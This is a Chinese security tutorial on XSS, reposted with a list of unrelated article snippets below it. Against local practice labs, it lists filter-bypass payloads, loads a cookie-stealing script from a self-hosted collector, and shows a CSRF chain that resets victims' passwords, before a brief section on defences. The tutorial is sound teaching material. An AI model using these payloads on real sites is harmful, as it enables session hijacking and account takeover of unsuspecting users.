浅谈XSS攻击的那些事(附常用绕过姿势)

本文《浅谈XSS攻击的那些事(附常用绕过姿势)》 由一叶知安团队原创投稿安全脉搏首发,作者geek痕,安全脉搏独家首发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。

随着互联网的不断发展,web应用的互动性也越来越强。但正如一个**会有两面一样,在用户体验提升的同时安全风险也会跟着有所增加。今天,我们就来讲一讲web渗透中常见的一种攻击方式:XSS攻击。

首先,什么是XSS攻击。

先上一段标准解释(摘自百度百科)。

“XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。”

xss

相信以上的解释也不难理解,但为了再具体些,这里举一个简单的例子,就是留言板。我们知道留言板通常的任务就是把用户留言的内容展示出来。正常情况下,用户的留言都是正常的语言文字,留言板显示的内容也就没毛病。然而这个时候如果有人不按套路出牌,在留言内容中丢进去一行”<script>alert(“hey!you are attacked”)</script>,那么留言板界面的网页代码就会变成形如以下:

<html>
<head>
<title>留言板</title>
</head>
<body>
<div id="board">
<script>alert("hey!you are attacked")</script>
</div>
</body>
</html>

 

那么这个时候问题就来了,当浏览器解析到用户输入的代码那一行时会发生什么呢?答案很显然,浏览器并不知道这些代码改变了原本程序的意图,会照做弹出一个信息框。就像这样。

xss1

说完什么是XSS,再来谈一谈XSS的危害。

其实归根结底,XSS的攻击方式就是想办法“教唆”用户的浏览器去执行一些这个网页中原本不存在的前端代码。可问题在于尽管一个信息框突然弹出来并不怎么友好,但也不至于会造成什么真实伤害啊。的确如此,但要说明的是,这里拿信息框说事仅仅是为了举个栗子,真正的黑客攻击在XSS中除非恶作剧,不然是不会在恶意植入代码中写上alert("say something")的。在真正的应用中,XSS攻击可以干的事情还有很多,这里举两个例子。

  • 窃取网页浏览中的cookie值。在网页浏览中我们常常涉及到用户登录,登录完毕之后服务端会返回一个cookie值。这个cookie值相当于一个令牌,拿着这张令牌就等同于证明了你是某个用户。如果你的cookie值被窃取,那么攻击者很可能能够直接利用你的这张令牌不用密码就登录你的账户。如果想要通过script脚本获得当前页面的cookie值,通常会用到cookie。试想下如果像空间说说中能够写入xss攻击语句,那岂不是看了你说说的人的号你都可以登录(不过貌似QQ的cookie有其他验证措施保证同一cookie不能被滥用)
  • 劫持流量实现恶意跳转。

这个很简单,就是在网页中想办法插入一句像这样的语句:

<script>window.location.href="http://www.baidu.com";</script>那么所访问的网站就会被跳转到百度的首页。

早在2011年新浪就曾爆出过严重的xss漏洞,导致大量用户自动关注某个微博号并自动转发某条微博。具体各位可以自行百度。

 

那xss漏洞很容易被利用吗?那倒也未必。

毕竟在实际应用中web程序往往会通过一些过滤规则来组织代有恶意代码的用户输入被显示。不过,这里还是可以给大家总结一些常用的xss攻击绕过过滤的一些方法,算是抛砖引玉。(以下的绕过方式皆通过渗透测试平台Web For Pentester 演示)

  • 大小写绕过。

这个绕过方式的出现是因为网站仅仅只过滤了<script>标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。具体的方式就像这样:

xss2

利用语句:

http://192.168.1.102/xss/example2.php?name=<sCript>alert("hey!")</scRipt>

 

  • 利用过滤后返回语句再次构成攻击语句来绕过。

这个字面上不是很好理解。用实例来说。

如下图,在这个例子中我们直接敲入script标签发现返回的网页代码中script标签被去除了,但其余的内容并没有改变。

xss3

 

于是我们就可以人为的制造一种巧合,让过滤完script标签后的语句中还有script标签(毕竟alert函数还在),像这样:

http://192.168.1.102/xss/example3.php?name=<sCri<script>pt>alert("hey!")</scRi</script>pt>

发现问题了吧,这个利用原理在于只过滤了一个script标签。

  • 并不是只有script标签才可以插入代码!

在这个例子中,我们尝试了前面两种方法都没能成功,原因在于script标签已经被完全过滤,但不要方,能植入脚本代码的不止script标签。

例如这里我们用<img>标签做一个示范。

我们利用如下方式:

http://192.168.1.102/xss/example4.php?name=<img src='w.123' οnerrοr='alert("hey!")'>

 

就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。

以下列举几个常用的可插入代码的标签。

<a οnmοusemοve=’do something here’> 当用户鼠标移动时即可运行代码

<div οnmοuseοver=‘do something here’> 当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)

类似的还有onclick,这个要点击后才能运行代码,条件相对苛刻,就不再详述。

 

  • 编码脚本代码绕过关键字过滤。

 

有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。

例如alert(1)编码过后就是\u0061\u006c\u0065\u0072\u0074(1),所以构建出来的攻击语句如下:

http://192.168.1.102/xss/example5.php?name=<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

 

  • 主动闭合标签实现注入代码。

 

来看这份代码:

xss4

乍一看,哇!自带script标签。再一看,WTF!填入的内容被放在了变量里!

这个时候就要我们手动闭合掉两个双引号来实现攻击,别忘了,javascript是一个弱类型的编程语言,变量的类型往往并没有明确定义。

思路有了,接下来要做的就简单了,利用语句如下:

http://192.168.1.102/xss/example6.php?name=";alert("I am coming again~");"

效果如图。

xss5

回看以下注入完代码的网页代码,发现我们一直都在制造巧合。。

xss6

先是闭合引号,然后分号换行,加入代码,再闭合一个引号,搞定!

 

  • 组合各种方式

 

在实际运用中漏洞的利用可能不会这么直观,需要我们不断的尝试,甚至组合各种绕过方式来达到目的。

 

介绍完一些常用的绕过方式,再倒回来讲一下XSS分类,因为下面讲具体的应用时会用到。

XSS攻击大致上分为两类,一类是反射型XSS,又称非持久型XSS,另一类则与之相对,称作储存型XSS,也就是持久型XSS。

先来讲什么是反射型XSS。其实,我们上面讲XSS的利用手段时所举的例子都是非持久型XSS,也就是攻击相对于访问者而言是一次性的,具体表现在我们把我们的恶意脚本通过url的方式传递给了服务器,而服务器则只是不加处理的把脚本“反射”回访问者的浏览器而使访问者的浏览器执行相应的脚本。也就是说想要触发漏洞,需要访问特定的链接才能够实现。

再说储存型XSS,它与反射型XSS最大的不同就是服务器再接收到我们的恶意脚本时会将其做一些处理,例如储存到数据库中,然后当我们再次访问相同页面时,将恶意脚本从数据库中取出并返回给浏览器执行。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。还记得在文章开头提到的留言板的例子吗?那通常就是储存型XSS。当有人在留言内容中插入恶意脚本时,由于服务器要像每一个访客展示之前的留言内容,所以后面的访客自然会接收到之前留言中的恶意脚本而不幸躺*。这个过程一般而言只要用户访问这个界面就行了,不像反射型XSS,需要访问特定的URL。

 

区别完两种XSS类型,下面来讲几个实例应用。

  • 劫持访问

劫持访问就是在恶意脚本中插入诸如<script>window.location.href="http://www.baidu.com";</script>的代码,那么页面就会跳转到百度首页。劫持访问在持久型和非持久型XSS中都比较常被利用。持久型XSS中劫持访问的危害不用说大家都清楚,但有人会问非持久型XSS中劫持访问有什么作用呢?很简单,试想下像qq.com,baidu.com这样的域名下出现非持久型XSS,那么在发送钓鱼链接时就可以通过qq.com等域名进行跳转,一般人一看到qq.com之类的域名警惕性会下降,也就更容易上当了。

  • 盗用cookie实现无密码登录

具体原理上文已经提到,这里做一个具体演示。由于盗取的cookie需要传回给攻击者,因此往往需要一个服务器来接收盗取的cookie,这也就是xss平台的作用了。网上的xss平台很多,但动手搭建一个也不难,建议有条件的自己搭建。

首先登录平台后台获取到js脚本地址为http://127.0.0.1/XSS/template/default.js,所以我们需要做的是把这段代码植入指定页面。

<script type="text/javascript" src="http://127.0.0.1/XSS/template/default.js"></script>

(这里以DVWA渗透测试平台为例)

xss7

我们发现网页对于message长度有限制。审查元素看一下。

xss8

 

发现最大长度有限制,但这仅仅是前端的限制,直接双击修改成更大的数字即可。再次尝试,没问题,我们已经将脚本植入完毕。

xss9

然后就是坐等别的用户访问这个界面。

这时,另一个用户gordonb登录并访问了留言界面,那么他的cookie就会被窃取。我们可以从xss平台的后台获取到。

xss10

拿到cookie之后要登录他的帐号就好办了。

打开登录界面,调出火狐的firebug插件,调至cookie选项卡(注意,如果你的firebug插件没有cookie选项卡,请再安装firecookie插件即可看到)

然后依次点击cookies-create cookie,随后再弹出的界面中填入两个xss平台获取到的cookie,如图

xss11

 

这里注意要把我箭头所指的地方勾上,这是设置cookie有效期的地方,不然会在设置完下一秒cookie就失效。

xss12

完成之后再次刷新页面,发现已经不是之前的登录界面了,而是登录后的界面。至此,一个从cookie窃取到利用的过程就已完成。

xss13

  • 配合csrf攻击完成恶意请求

先简单解释以下csrf攻击。Csrf攻击就是在未经你许可的情况下用你的名义发送恶意请求(比如修改密码,银行转账等),下面演示一个用xss配合csrf修改用户密码的例子。

首先对修改用户密码的界面进行抓包。

xss14

发现没有对原密码进行校验。于是一股邪恶的力量油然而生:要是在xss的恶意脚本中自动提交get请求修改密码的话。。。

说干就干,具体插入语句如下。

<script type="text/javascript" src="http://127.0.0.1/test/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"></script>

有人会问,这不是引用脚本吗?其实不然,本质上这还是发起了一起get请求,因此可以直接使用。与上例一样,插入到message中,再坐等上钩。等下一个用户访问该界面时,密码就会被改为123456惹~

我们再看下访问该页面时的抓包情况,发现每次访问该页面都发送了更改密码的请求

xss15

效果看数据库(密码md5加密)

xss16

访问了该页面的用户密码都被更改了。

防范手段:

都说知己知彼方能百战不殆,知道了xss攻击的原理那么防御的方法也就显而易见了。

首先是过滤。对诸如<script>、<img>、<a>等标签进行过滤。

其次是编码。像一些常见的符号,如<>在输入的时候要对其进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。

最后是限制。通过以上的案例我们不难发现xss攻击要能达成往往需要较长的字符串,因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。

 

后话:

安全攻防双方的博弈永远都不会停止,也正是这种博弈推进了信息安全的发展。究竟是道高一尺还是魔高一丈很难定论。其实安全问题归根结底还是一个信任的前提。什么输入值得信任?什么输入不值得信任需要特殊处理是安全人员常常要思考的一个问题。

(以上内容如有错误之处,敬请指正,谢谢!)

本文《浅谈XSS攻击的那些事(附常用绕过姿势)》 由一叶知安团队原创投稿安全脉搏首发,作者geek痕,安全脉搏独家首发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。

本文作者:一叶知安

            <p><span style="color: #00B050;"><strong>本文为安全脉搏专栏作者发布,转载请注明:</strong></span><a href="https://www.secpulse.com/archives/57411.html" target="_blank" style="color: rgb(0, 176, 80); text-decoration: underline;"><span style="color: #00B050;"><strong>https://www.secpulse.com/archives/57411.html</strong></span></a></p></div>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/553882.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

了解与防御XSS攻击

一. XSS是什么 XSS攻击全称跨站脚本攻击&#xff08;Cross Site Scripting&#xff09;&#xff0c;是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆&#xff0c;故将跨站脚本攻击缩写为XSS&#xff0c;XSS是一种在web应用中的计算机安全漏洞&#xff0c;它允许恶意…

BS架构和CS架构的优缺点

1、CS、BS架构定义 CS&#xff08;Client/Server&#xff09;&#xff1a;客户端----服务器结构。C/S结构在技术上很成熟&#xff0c;它的主要特点是交互性强、具有安全的存取模式、网络通信量低、响应速度快、利于处理大量数据。因为客户端要负责绝大多数的业务逻辑和UI展示&a…

webService、webSocket、socket、http之间的区别

HTTP HTTP 是基于请求响应式的&#xff0c;即通信只能由客户端发起&#xff0c;服务端做出响应&#xff0c;无状态&#xff0c;无连接。 无状态&#xff1a;每次连接只处理一个请求&#xff0c;请求结束后断开连接。 无连接&#xff1a;对于事务处理没有记忆能力&#xff0c;服…

OSI七层模型传输过程的通俗理解

转自&#xff1a;http://bbs.clnchina.com.cn/thread-1250443-1-1.html 1.OSI七层模型划分。 从上到下依次是&#xff1a;应用层、表示层、会话层、传输层、网络层、数据链路层、物理层。 分层功能应用层网络服务与最终用户的一个接口&#xff08;可理解为人机交互界面&#xf…

软件开发之常见前端安全漏洞

原标题&#xff1a;软件开发之常见前端安全漏洞 软件开发完成后&#xff0c;在Web服务器在投入使用之前&#xff0c;应该确保服务器是相对安全地。保证服务器相对安全地前提是&#xff0c;要充分了解影响Web系统安全。 1、跨站脚本&#xff08;XSS&#xff09;漏洞跨站脚本攻击…

修改el-popover和el-select样式

如图el-popover弹框和el-select下拉项的的容器是div#app之外的&#xff0c;所以在scoped作用域内使用>>>或/deep/修改样式无效。虽然可以使用全局样式修改&#xff0c;但是会造成所有页面组件样式改变。 1、修改el-select选项样式的解决办法&#xff1a; Popper-appen…

vue项目使用electron打包成桌面应用

打包流程详情步骤&#xff1a; 1、准备工作&#xff1a; a、win7系统则确保node版本在v12以上&#xff0c;electron-builder对系统或版本有要求&#xff1b; b、项目路径不使用中文&#xff1b; c、使用淘宝镜像命令代替npm管理工具 npm install -g cnpm --registryhttps://…

Haar特征与积分图—概念解析

1. Adaboost方法的引入 1.1 Boosting方法的提出和发展 在了解Adaboost方法之前&#xff0c;先了解一下Boosting方法。 回答一个是与否的问题&#xff0c;随机猜测可以获得50%的正确率。如果一种方法能获得比随机猜测稍微高一点的正确率&#xff0c;则就可以称该得到这个方法的过…

在jsp中对mysql数据库分页的方法

针对分页&#xff0c;首先开发一个 PageBean 用来控制页面参数&#xff1a; Java代码 package com.longweir; //分页后的javaBean import java.sql.*; import com.longweir.util.*; public class PageBean { private int pageSize5; // 每页显示的记录…

MyEclipse 2015优化技巧

MyEclipse 2015优化速度方案仍然主要有这么几个方面&#xff1a;去除无需加载的模块、取消冗余的配置、去除不必要的检查、关闭更新。第一步: 去除不需要加载的模块 一个系统20%的功能往往能够满足80%的需求&#xff0c;MyEclipse也不例外&#xff0c;我们在大多数时候只需要20…

Highcharts+Spring饼图使用实例

项目上要用到Hightcharts展示平台机器占用情况,使用这类第三方插件很方便就能实现 JSP: <script type"text/javascript" src"<%basePath%>/resources/thirdparty/highcharts/highcharts.js"></script><div id"machineRate"…

Highcharts双饼图使用实例

这次实践了Highcharts的双饼图,确实比普通饼图复杂多了,关键相关数据 多不能继续用简单基本数据类型Map,list了,单独建了个VO存放要用到的数据,不多说,贴代码! JS: /**查看机器占比(按产品线) 2015/8*/ function loadMachineRate(){var chart;$(document).ready(function(){ch…

使用jackson对Java对象与JSON字符串相互转换的一些总结

总结一下自己使用 jackson 处理对象与 JSON 之间相互转换的心得。jackson 是一个用 Java 编写的&#xff0c;用来处理 JSON 格式数据的类库&#xff0c;它速度非常快&#xff0c;目前来看使用很广泛&#xff0c;逐渐替代了 Gson 和 json-lib 。 如果直接引入 jar 包&#xff0…

使用Java的BlockingQueue实现生产者-消费者

BlockingQueue也是java.util.concurrent下的主要用来控制线程同步的工具。 BlockingQueue有四个具体的实现类,根据不同需求,选择不同的实现类 1、ArrayBlockingQueue&#xff1a;一个由数组支持的有界阻塞队列&#xff0c;规定大小的BlockingQueue,其构造函数必须带一个int参数…

循环删除List集合的错误

症状:不是郝柱也能看到灾备分析:调试发现动作中有两个灾备,不过只过滤了其中一个 错误所在:代码如下,这里for循环删除List逻辑出问题了,犯了一个比较基础的错误 : 两个灾备动作索引是相邻的,当我remove掉第一个时紧跟着的动作就会取代它原来的位置,最终导致问题发生 修改方案:解…

ajax中return取不到值的问题

症状:机器迁移时判断JS返回取不到值分析 :调试发现data是有值的&#xff0c;而且下断点调试发现这段ajax还没走完&#xff0c;后面的逻辑已经开始走了错误所在:ajax之所以叫ajax它首先是异步的&#xff0c;顺序执行的程序不需要等待ajax跑完才继续执行 修改方案:将默认为true的…

Websocket判断逻辑Bug

症状:灾备后台失败但前台提示成功分析 :下断点发现此时前端的data.obj为undifined&#xff0c;后台pyhon脚本执行报错了 错误所在:前台判断不应该加上undifined 修改方案:第一次修改如上&#xff0c;判断严谨多了&#xff0c;但是运行是前台报不能对undefined使用length分析 :…

SpringMVC深度探险 —— SpringMVC核心配置文件详解

在上一篇文章中&#xff0c;我们从DispatcherServlet谈起&#xff0c;最终为读者详细分析了SpringMVC的初始化主线的全部过程。整个初始化主线的研究&#xff0c;其实始终围绕着DispatcherServlet、WebApplicationContext和组件这三大元素之间的关系展开。 在文章写完之后&…

阿里RocketMQ Quick Start

RocketMQ单机支持1万以上的持久化队列&#xff0c;前提是足够的内存、硬盘空间&#xff0c;过期数据数据删除&#xff08;RocketMQ中的消息队列长度不是无限的&#xff0c;只是足够大的内存数据定时删除&#xff09; RocketMQ版本&#xff1a;3.1.4 一&#xff0c;部署NameServ…

Intellij Idea的使用之svn篇

记一下idea的svn使用有图超详细 根据在eclipse里使用svn的经验琢磨了一下idea,现把idea下svn的使用方法记录如下 主要分为几个功能来介绍 第一个功能当然是把远程的svn代码拉到我们本地 下面的多出了一个svn的窗口&#xff0c;在左边有加号可以添加一个svn的库 输入svn的地…